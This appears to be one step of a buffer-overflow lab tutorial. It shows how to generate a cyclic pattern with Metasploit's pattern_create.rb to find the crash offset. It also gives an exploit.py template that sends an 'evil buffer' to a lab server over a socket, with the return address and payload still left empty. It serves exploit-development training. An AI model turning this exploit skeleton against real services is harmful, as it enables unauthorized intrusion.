3. Finding The Offset

Offset

Offset is the specific point that we break the program with Fuzzing.

Run the following command to generate a cyclic pattern of a length 400 bytes longer that the string that crashed the server (change the -l value to this):

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

Copy the output and place it into the payload variable of the exploit.py script.

import socket

ip = "10.10.213.94"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")